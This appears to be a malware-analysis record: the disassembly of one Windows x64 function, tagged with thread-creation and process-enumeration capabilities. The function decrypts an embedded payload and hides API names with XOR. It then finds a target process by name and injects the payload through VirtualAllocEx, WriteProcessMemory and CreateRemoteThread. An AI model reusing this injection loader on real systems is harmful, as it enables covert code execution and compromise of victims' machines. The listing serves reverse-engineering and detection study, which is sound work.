Function at 0x1eabc1630
Capabilities:
Create thread
Enumerate processes

Disassembly:
push r13
mov eax, 0x19198
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.1eabc26c0
sub rsp, rax
mov r8d, 0x19000
movabs rdx, 0x8af0b413094be523
movabs rax, 0xdd83d089f46b42b3
lea rdi, [rsp + 0x190]
mov qword [rsp + 0x58], rdx
lea rsi, [rsp + 0x60]
lea rdx, [0x1eabc4010]
mov rcx, rdi
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x4c], 0
call sym.memcpy
movd xmm2, dword [0x1eabc3038]
movq xmm0, qword [str.____f]
movq xmm1, qword [str.rOZKyvxYMKSlnJk]
cmp byte [0x1eabc3040], 0
pxor xmm0, xmm1
movq qword [str.____f], xmm0
movd xmm0, dword [0x1eabc3028]
pxor xmm0, xmm2
movd dword [0x1eabc3028], xmm0
je 0x1eabc16e8
mov r8, rsi
mov edx, 1
mov ecx, 1
call qword [0x1eabe0028]
mov byte [0x1eabc3040], 0
mov qword [rsp + 0x60], 0xfffffffffe363c80
mov rdx, rsi
xor ecx, ecx
call qword [0x1eabe0030]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.____f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x19000
mov qword [0x1eabe0020], rax
call rax
mov r9d, 0x10
lea r8, [rsp + 0x50]
mov rcx, rdi
mov edx, 0x19000
mov rbx, rax
call sym.aTmvcaiXvwOtTCwIowcNW_char__unsigned_int__char__unsigned_long_long_
cmp byte [0x1eabc3040], 0
je 0x1eabc1773
mov r8, rsi
mov edx, 1
mov ecx, 1
call qword [0x1eabe0028]
mov byte [0x1eabc3040], 0
mov qword [rsp + 0x60], 0xfffffffffe363c80
mov rdx, rsi
xor ecx, ecx
call qword [0x1eabe0030]
mov rcx, rbx
mov r8d, 0x19000
mov rdx, rdi
call sym.memcpy
mov rcx, rbx
lea r9, [rsp + 0x4c]
mov r8d, 0x20
mov edx, 0x19000
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx eax, word [0x1eabc3018]
xor edx, edx
movq xmm0, qword [0x1eabc3010]
movzx ebx, word [0x1eabc3038]
mov ecx, 2
movq xmm1, qword [str.rOZKyvxYMKSlnJk]
xor eax, ebx
pxor xmm0, xmm1
mov word [0x1eabc3018], ax
movzx eax, byte [0x1eabc303a]
movq qword [0x1eabc3010], xmm0
xor byte [0x1eabc301a], al
call sym.CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1eabc185c
mov rdx, rsi
mov rcx, rax
mov dword [rsp + 0x60], 0x130
lea r13, [rsp + 0x8c]
call sym.Process32First
lea r12, [0x1eabc3010]
mov rbp, qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x1eabc1844
jmp 0x1eabc1853
mov rdx, r13
mov rcx, r12
call rbp
test eax, eax
je 0x1eabc1870
mov rdx, rsi
mov rcx, rbx
call sym.Process32Next
test eax, eax
jne 0x1eabc1838
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x19198
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov esi, dword [rsp + 0x68]
mov rbp, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call rbp
test esi, esi
je 0x1eabc185c
mov r8d, esi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1eabc185c
mov r9d, 0x1000
mov r8d, 0x19000
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x20
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, rbx
mov r9d, 0x19000
mov r8, rdi
mov qword [rsp + 0x20], 0
mov rsi, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rbx
mov r9, rsi
xor r8d, r8d
mov qword [rsp + 0x30], 0
xor edx, edx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
je 0x1eabc185c
mov edx, 0x1f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call rbp
jmp 0x1eabc185c